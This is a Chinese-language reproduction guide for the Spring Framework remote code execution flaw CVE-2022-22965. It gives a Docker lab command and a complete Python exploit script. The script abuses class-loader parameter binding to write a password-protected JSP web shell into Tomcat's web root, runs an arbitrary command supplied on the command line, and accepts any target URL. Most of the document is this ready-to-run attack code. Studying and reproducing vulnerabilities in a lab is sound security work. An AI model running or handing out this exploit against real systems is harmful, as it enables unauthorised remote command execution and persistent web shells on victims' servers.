CVE-2022-22965复现

简介:

在jdk 9+上运行的Spring MVC或Spring WebFlux application可能会导致RCE

复现环境:


docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17

服务启动后，访问http://your-ip:8080/?name=Bob&age=25 即可看到一个演示页面。

poc:

使用方法:-t 输入目标地址，-c输入执行命令，默认为id


import argparse

import requests

headers = {
           'Accept-Encoding': 'gzip, deflate',
           'Content-Type': 'application/x-www-form-urlencoded',
           'Connection': 'close',
           'Accept': '*/*',
           'Accept-Language': 'en',
           'suffix': '%>//',
           'c1': 'Runtime',
           'c2': '<%',
           'DNT': '1',
           'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}

headers_res = {
           'Accept-Encoding': 'gzip, deflate',
           'Connection': 'close',
           'Accept': '*/*',
           'Accept-Language': 'en',
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-t',"--target",help='input target',required=True,type=str)
    parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')

    args = parser.parse_args()
    url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
    refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="

    res = requests.get(url=url, headers=headers)
    try:
        if res.status_code == 200:
            res_cmd = requests.get(url=cmd_url, headers=headers)
            print(res_cmd.text.replace("\x00",""))
            ref_cmd = requests.get(url=refresh_url,headers=headers_res)
        else:
            print('Vulnerability does not exist')
    except Exception as e:
        print(e)